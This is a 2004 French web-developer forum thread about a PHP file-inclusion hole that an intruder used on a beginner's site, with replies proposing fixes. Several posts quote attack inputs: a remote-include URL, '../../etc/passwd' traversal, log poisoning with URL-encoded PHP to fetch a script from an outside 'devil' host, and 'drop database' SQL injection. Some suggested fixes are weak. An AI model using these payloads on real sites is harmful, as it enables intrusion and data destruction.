zigomat Posté(e) le 2 décembre 2004 Partager Posté(e) le 2 décembre 2004 Salut ! Je viens de faire mon premier site en php...Et à peine en ligne...déjà hacké !!! Vu que je suis novice en php...Mon(ma) pirate m'a juste ajouté une page complètement dingue m'expliquant comment éviter de me faire à nouveau hacker ... Voici son contenu...Si quelqu'un peut m'en dire si ce qui suit est juste ou faux...Merci ! Site piraté ! Pourquoi cet acte ? Certainement pas dans le but de nuire, bien que certains pourront le prendre comme tel, cette intrusion est bien moins méchante qu'elle peut y paraitre : Rien n'a été supprimé sur le FTP, elle sert à montrer du doigt une faille exploitable par les pirates, leur permettant de prendre le contrôle d'un site. Comment ? Votre site fait appel à une page via PHP, dans votre cas, le pirate peut inclure la page de son choix, et ainsi supprimer des fichiers, en rajouter, éditer le site, voir les mots de passe, ou afficher sa page, comme je l'ai fais. Comment y remedier ? Vous disposez de plusieurs solutions : Au lieu de devoir faire un lien comme suit : http://www.votresite/index.php?page=Staff.php, appellez le lien en enlevant l'extension PHP, dans votre code, cela ressemblera à : <?php include(".php") ?> bien que cela constitue un moyen simple de remedier aux attaques les plus violentes (destruction du site), la personne pourra continuer à inclure ses pages PHP sur votre site, mais aucun script ne pourra y etre éxecuté, il ne pourra qu'afficher de l'html, voici le moyen : http://www.votresite.php/index.php?page=ht...ker.com/fichier. Une troisieme solution consiste à inclure vos fichiers PHP, mais les appeller dans un autre dossier (/includes/link.php) votre code PHP ressemblera dans ce cas à : <?php include(includes/.php) ?> Dans ce cas, le pirateur ne pourra rien tenter contre votre site. Amicalement, j'espere que mes conseils vous serviront, Une lootrophile anonyme. Si c'est vrai, je trouve ça dingue d'avoir la soluce par le pirate !!! Lien vers le commentaire Partager sur d’autres sites More sharing options...
theocrite Posté(e) le 2 décembre 2004 Partager Posté(e) le 2 décembre 2004 C'est tout à faitr exact. Ca ne te parraît pas logique ? Et ce n'est pas un hack ! j'espère bien que tu seras amené à faire quelques hacks sur ton site. Vaut mieux pour toi. Par contre, on peut bien dire qu'on a à faire à un hacker, quelqu'un de compétent et qui oueuvre pour le bien. C'est plutôt sympa de sa part de te prévenir. Lien vers le commentaire Partager sur d’autres sites More sharing options...
Ago Posté(e) le 2 décembre 2004 Partager Posté(e) le 2 décembre 2004 Moi, j'adore les personnes qui "hackent" pas pour le plaisir, mais pour montrer des failles ou des problèmes dans un logiciel, dans un site ... c'est très sympa de leur part, et comme ca ca nous permet d'evoluer vers qque chose de + sécurisé ... Lien vers le commentaire Partager sur d’autres sites More sharing options...
zigomat Posté(e) le 2 décembre 2004 Auteur Partager Posté(e) le 2 décembre 2004 Je suis d'accord, mais si on fait un "include" du nom de fichier sans ajouter le .php derrière, je ne vois pas ce que ça change ! Php exécute le code php du fichier exactement de la même manière ! Et si on renome ses fichiers includes sans leur donner l'extension php, alors le pirate peut afficher le contenu du fichier brut en tappant son adresse tout simplement dans son navigateur (le serveur renvoyant le fichier brut sans le faire traiter par php) J'ai l'impression que la meilleure solution consiste encore à coder les noms des pages des fichiers include...par exemple si je passe "menu" par les parametres, dans mon code php je pourrais rajouter "_x.php" et nommer le fichier include "menu_x.php" comme ça le hacker ne pourrait pas le trouver et si il essaye de mettre le nom d'un fichier de son serveur, comme mon code rajouterait l'extension "_x.php" ça ne marcherait jamais ! Enfin, je crois ! Lien vers le commentaire Partager sur d’autres sites More sharing options...
Ago Posté(e) le 2 décembre 2004 Partager Posté(e) le 2 décembre 2004 non, le mieux c'est de créer une page header.php et footer.php, dans laquelle tu met le code de l'au dessus et de l'au dessous de ta page, et dans ta page "stats.php" (par exemple), tu fais tout au dessus un include pour l'header et tout à la fin un include pour le footer. Voila, j'espère que c'est asez comprehensible EDIT : au fait, Bienvenue sur les forums de PCInpact Lien vers le commentaire Partager sur d’autres sites More sharing options...
zigomat Posté(e) le 2 décembre 2004 Auteur Partager Posté(e) le 2 décembre 2004 Merci beaucoup pour la rapidité des réponses ! Lien vers le commentaire Partager sur d’autres sites More sharing options...
theocrite Posté(e) le 2 décembre 2004 Partager Posté(e) le 2 décembre 2004 Ajouter un _x n'empèche pas quelqu'un de trouver. Il ne faut jamais sous estimer le reverse engineering. D'autant qu'une erreur est vite arrivée. Si tu veut une solution rapide, soit avant ton include tu fait un gros test pour savoir si la page est autorisée, soit tu fait un ?page=1 avec une matrice qui fait correspondre les pages et les numéros. Sinon, bosse la solution d'agonistic Lien vers le commentaire Partager sur d’autres sites More sharing options...
zigomat Posté(e) le 2 décembre 2004 Auteur Partager Posté(e) le 2 décembre 2004 Encore une question pour Agonistic( excusez ma méconnaissance du sujet) Si je suis ta solution, que j'insère un header et un footer et que j'insère entre les deux une page include, qu'est-ce qui empèche le pirate de remplacer la partie "include" du "milieu" par son propre code comme auparavant...?? Lien vers le commentaire Partager sur d’autres sites More sharing options...
njoyard Posté(e) le 3 décembre 2004 Partager Posté(e) le 3 décembre 2004 tu n'as pas bien compris... je t'explique. imagine que ton site comporte des pages : page1, page2, page3. Actuellement, tu fais "index.php?page=[PAGE]' pour appeler une page. J'imagine que le code de index.php est de la forme suivante afficher un header inclure le fichier dans le paramètre 'page' afficher un footer ce que agonistic veut dire, c'est que tu crée des pages page1.php, page2.php, page3.php dont le code est le suivant : afficher un header afficher le contenu afficher un footer comme y'aura le header et le footer dans chaque page tu peux remplacer par include "header.php" echo "contenu de la page"; include "footer.php"; ce qui est exempt de faille de sécurité (pour la partie header/footer du moins) Lien vers le commentaire Partager sur d’autres sites More sharing options...
zigomat Posté(e) le 3 décembre 2004 Auteur Partager Posté(e) le 3 décembre 2004 Merci à tous ! J'ai plus qu'à retourner bosser dessus ! Lien vers le commentaire Partager sur d’autres sites More sharing options...
zigomat Posté(e) le 3 décembre 2004 Auteur Partager Posté(e) le 3 décembre 2004 Comme je suis plutot paresseux... J'ai adopté la méthode la plus simple à mettre en place...Et préconisée par le hacker... J'ai déplacé tous mes fichiers include dans un sous répertoire 'fiches' et laissé tous les liens sur toutes les pages exactement comme ils étaient ! genre (main.php? page=news.php) Et dans la page "main.php" j'ai juste transformé le code de cette façon : if ($_GET['page']) {$page = $_GET['page'];} else {$page = 'accueil.php';} $fichepage= 'fiches/'.$page; include($fichepage); De cette façon, je crois que la technique employée par le hacker ne peut plus fonctionner vu que si il essaye de faire un lien du genre (main.php? page=http://www.siteduhacker.com/fichier.php) on se retrouvera avec un include final du type (fiches/http://www.siteduhacker.com/fichier.php)...Ce qui ne devrait pas marcher... Encore merci à tous !... Et longue vie à Inpact Hardware PCINPACT, je voulais dire !!! ...Ben oui, même si je n'étais jamais venu sur le forum, je suis un vieux de la vieille...Et je promais solenellement de venir à mon tour porter aide et affection aux brebis égarées de ce dynamique forum ! Lien vers le commentaire Partager sur d’autres sites More sharing options...
ubik Posté(e) le 3 décembre 2004 Partager Posté(e) le 3 décembre 2004 Hello ! Bon, t'as eu de la chance de tomber sur ne personne comme ca... Au moins tu coderas pas toute ta vie en PHP comme un cochon (ce que beaucoup font !). Ce type de Hacking pour le PHP s'appelle le cross scripting (une petite recherche dans google te donneras une foultitude de liens plus ou moins interessants). Tu peux deja commencer par le TOP 10 des vulnérabilités cross scripting - ca te permettra de developper avec quelques notions en tete. Tu peux meme trouver des morceaux de code qui pourront t'aider a tester/valider les insertions dans la barre d'adresse (et eviter que des gens mal intentionnés mettent des morceaux de code et exécutent des choses pas catholiques sur ton serveur). Voila voila, bonne chance pour la suite et hesite pas a faire appel a l'INpactitude !! Edit: je viens de trouver ce ptit script Lien vers le commentaire Partager sur d’autres sites More sharing options...
Ago Posté(e) le 3 décembre 2004 Partager Posté(e) le 3 décembre 2004 tu n'as pas bien compris...je t'explique. imagine que ton site comporte des pages : page1, page2, page3. Actuellement, tu fais "index.php?page=[PAGE]' pour appeler une page. J'imagine que le code de index.php est de la forme suivante afficher un header inclure le fichier dans le paramètre 'page' afficher un footer ce que agonistic veut dire, c'est que tu crée des pages page1.php, page2.php, page3.php dont le code est le suivant : afficher un header afficher le contenu afficher un footer comme y'aura le header et le footer dans chaque page tu peux remplacer par include "header.php" echo "contenu de la page"; include "footer.php"; ce qui est exempt de faille de sécurité (pour la partie header/footer du moins) c'est exact, c'est ce que je voulais dire merci d'avoir expliquer à ma place (je ne pouvais pas le faire + tot) Lien vers le commentaire Partager sur d’autres sites More sharing options...
zigomat Posté(e) le 3 décembre 2004 Auteur Partager Posté(e) le 3 décembre 2004 Ce type de Hacking pour le PHP s'appelle le cross scripting (une petite recherche dans google te donneras une foultitude de liens plus ou moins interessants). Tu peux deja commencer par le TOP 10 des vulnérabilités cross scripting - ca te permettra de developper avec quelques notions en tete.Tu peux meme trouver des morceaux de code qui pourront t'aider a tester/valider les insertions dans la barre d'adresse (et eviter que des gens mal intentionnés mettent des morceaux de code et exécutent des choses pas catholiques sur ton serveur). Voila voila, bonne chance pour la suite et hesite pas a faire appel a l'INpactitude !! Edit: je viens de trouver ce ptit script Très bien, tes liens ! En fait, c'est dur, dur de débuter ! Pour le moment j'essaye déjà de faire fonctionner mon code correctement...Je ne pensais pas devoir si vite faire en sorte de ne pas être piraté ! Lien vers le commentaire Partager sur d’autres sites More sharing options...
ubik Posté(e) le 3 décembre 2004 Partager Posté(e) le 3 décembre 2004 T'inquiete pas trop non plus... faut avouer que dans ton malheur t'as eu de la chance (ou c'est le contraire ??LOL ) de tomber sur une personne bien intentionnée. Le tout c'est d'avoir quelques principes dans la tête, histoire d'éviter les plus gros pièges! Après tu trouveras toujours des dingues qui chercheront a connaitre la version de ton serveur et a trouver la bonne exploit qui va avec, mais bon... parano quand tu nous tiens !! Je te le redis encore, même si tu penses ne pas être super avancé en PHP, rien que le fait de connaître ces principes fait de toi un bien meilleur developpeur que ce que beaucoup de gens peuvent faire avec du PHP (je ne suis pas un saint non plus!). Lien vers le commentaire Partager sur d’autres sites More sharing options...
mim_fgg Posté(e) le 5 décembre 2004 Partager Posté(e) le 5 décembre 2004 a pas oublier aussi le if(file_exist(...)) qui teste simplement si le fichier est en local ... ca limite deja pas mal les failles de ce coté la Lien vers le commentaire Partager sur d’autres sites More sharing options...
zigomat Posté(e) le 5 décembre 2004 Auteur Partager Posté(e) le 5 décembre 2004 Bon, pour finir, le code de la page web ressemble à ceci : Juste après la balise <BODY>, le code venant de chez NEXEN : <? // Filtre anti Cross Site Scripting function XSS_filter(){ $neutralChar = '_'; $forbiddenList = array(0 => "<", 1 => ">"); $listVar = & $GLOBALS[("_" . $_SERVER['REQUEST_METHOD'])]; foreach(array_keys($listVar) as $key){ foreach($forbiddenList as $forbidden){ if(stristr($listVar[$key], $forbidden)) $listVar[$key] = str_replace($forbidden, $neutralChar, $listVar[$key]); }}} ?> Et à l'endroit où j'insère mon fichier PHP : <? if ($_GET['page']) {$page = $_GET['page'];} else {$page = 'accueil.php';} $fichepage= 'fiches/'.$page; if(is_file($fichepage)) {include($fichepage);} else {echo ('<b>Page introuvable sur le serveur<br><br>Si le problème persiste, merci de nous contacter</b><br><br><a href="mailto:xxx.xxx@belcenter.com?subject=probleme sur site web">E-mail Admin</a>');} ?> Là, ça me semble bien complet ! Lien vers le commentaire Partager sur d’autres sites More sharing options...
The Lootrophile Posté(e) le 8 décembre 2004 Partager Posté(e) le 8 décembre 2004 J'ai mieux. $page=preg_replace("/[^a-z0-9_ ]/i", "", $page); if(!@include("includes/$page.php")) die("Cette page n'existe pas sur le serveur, merci d'informer le webmaster du site si ce problème venait à se reproduire."); On vire les carractères spéciaux dans les URL (les slash entre autre, comme ça on évite l'include de pages exterieures, puisque le pirate ne peut plus faire appel à un lien commençant par http://), ça c'est la première ligne, la seconde, un simple "if" fixe la condition : Si l'include ne marche pas, on envoit un message d'erreur. Comment utiliser cela ? Placer les fichiers à inclure dans un repertoire includes (ou autre, si tu modifies le code) et imposer l'extention .PHP Lien vers le commentaire Partager sur d’autres sites More sharing options...
theocrite Posté(e) le 9 décembre 2004 Partager Posté(e) le 9 décembre 2004 Joli ! Ca permet aussi d'éviter l'exécution de shellcodes. Lien vers le commentaire Partager sur d’autres sites More sharing options...
zigomat Posté(e) le 9 décembre 2004 Auteur Partager Posté(e) le 9 décembre 2004 Il va falloir que je me familiarise avec la syntaxe des masques !!! Parce que pour le moment, j'ai bien du mal à analyser ce genre de masque...méta-caractères qui changent de valeur si entre crochets ou pas...!!! J'avais laissé tomber la prog voici +/- 12 ans, au moment de la montée en puissance des langages objets (mon dernier compilateur était Borland C/C++ version MS-DOS (le tout premier à gérer le ++ ... Pour donner une idée, il était fourni sur disquettes 3"1/2 et 5"1/4 ) Tout ça pour dire que le papy de l'info que je suis (j'ai connu les cartes perfo puis les IBM 370 et enfin la révolution des VAX) croyait que le PHP était un langage super simple...Idéal pour se remettre dans le jus ! En fait, c'est un langage super complet bourré de fonctions plus pratiques les unes que les autres et il va me falloir un sacré bout de temps pour jongler avec ! Heureusement qu'aujourd'hui il y a le net pour trouver les docs et les exemples...Et surtout les forums ! Merci à tous ceux qui donnent un peu de leur temps pour aider les autres ...Dans une société où habituellement tout se monaie, c'est vraiment géant ! Lien vers le commentaire Partager sur d’autres sites More sharing options...
vodnok Posté(e) le 10 décembre 2004 Partager Posté(e) le 10 décembre 2004 C'est normal, c'est la base ça. Dans quasi tout les cours sur le web il te conseil de faire ça. Ne jamais mettre des paramètres directement utilisé dans ton code comme le nom de la page. Il faut comme dit plus haut passer des codes 1,2,3 et ensuite dans ton code suivant le code tu devie sur le bon script à lancer. Mais je te rassure j'ai déja vu pire. Dans un société, ils avaient un site web fait par des informaticens très très con. Il n'était pas au courant que les sessions existaient. Et sur une page, ils passaient une requête sql dans un paramètre d'un formulaire html, le password et le login. La totale quoi. Il suffisait de changer le requête genre "drop database" ;-) et tout était effacé. On a bien rit quand on a vu ça. Un petit conseil aussi, Valide tout les champs que tu recois des requêtes. Mais vraiment tous. Certains hackers utilisent aussi les codes ascii, utf pour tromper les analyseurs. Je crois qu'en php il faut utiliser decode_UTF.... Je ne sais plus exactement. Il faut enlever toutes les balises html qui auraient put etre entrées. Et si par exemple quand l'utilisateur s'enregistre sur ton site il met dans son nick (' 'alter drop database') le ' ferme ta requête de création de membre sur ta table membre et ensuite il peut executer son propre code. Bon c'est un peu plus compliquer que ça et moin facile car il risque de generer une erreur mais après quelques essais, un hacker peut y arriver. Donc il faut parser tout les paramètre à la recherche de code html et sql. Je te conseil www.nexen.net il y a quelques bon articles sur le sujet. Lien vers le commentaire Partager sur d’autres sites More sharing options...
savory Posté(e) le 14 décembre 2004 Partager Posté(e) le 14 décembre 2004 :) ton code est toujours unsecure f ($_GET['page']) {$page = $_GET['page'];} else {$page = 'accueil.php';} $fichepage= 'fiches/'.$page; include($fichepage); Imagine une requete du type http://serv/index.php=../../../../../../etc/passwd donne le listing du fichier passwd ce n'est pas si grave tu me dira. Et bah si c'est grave :) surtout si tes log apache sont accessible en lecture par l'utilisateur du serveur web, je m'explique. Imagine le pirate : http://serv/index.php=../../../../../../et...conf/httpd.conf Il voit le fichier errorlog de apache modifiable simplement par nimporte quelle requete 404 Et maintenant imagine un http://serv/<?include($truc)?> ou plutot http://serv/%3C%3Finclude%28%24truc%29%3F%3E (forme urlencodée) qui aura plus de chance de passer et de finir en 404 ecrit dans les logs. (et si c'est pas les logs apaches le maillog marche aussi) ensuite : http://serv/index.php=../../usr/local/apac...://devil/script et tu es ouné :/ La meilleure solution reste de tout verifier par expressions regulieres comme cité au dessus, ou encore mieux si tu as la possibilité de configurer php.ini tu active le safe mode gid et tu desactive url_open. Lien vers le commentaire Partager sur d’autres sites More sharing options...
ingeni Posté(e) le 15 décembre 2004 Partager Posté(e) le 15 décembre 2004 Pour moi, un moyen simple: vérifier les données de l'url et les passer dans un switch comportant un case default permettant de gérer les appels de page inexistantes... et vérifier l'existance de la page par file_exists(page_a_tester)... Lien vers le commentaire Partager sur d’autres sites More sharing options...
lehigreck Posté(e) le 28 décembre 2004 Partager Posté(e) le 28 décembre 2004 blaireau ce st pas un pirate ce st kk un ki aide les gen t a aps vu ou koi si c etait un pirate t aurait plus de site Lien vers le commentaire Partager sur d’autres sites More sharing options...
The Lootrophile Posté(e) le 29 décembre 2004 Partager Posté(e) le 29 décembre 2004 blaireau ce st pas un pirate ce st kk un ki aide les gen t a aps vu ou koi si c etait un pirate t aurait plus de site Je te remercie pour avoir cerné le pourquoi de mon acte, toutefois, je ne m'attendais pas à soulever de telles réactions, et si j'aurais su, je l'aurais pas fus. Lien vers le commentaire Partager sur d’autres sites More sharing options...
Messages recommandés
Archivé
Ce sujet est désormais archivé et ne peut plus recevoir de nouvelles réponses.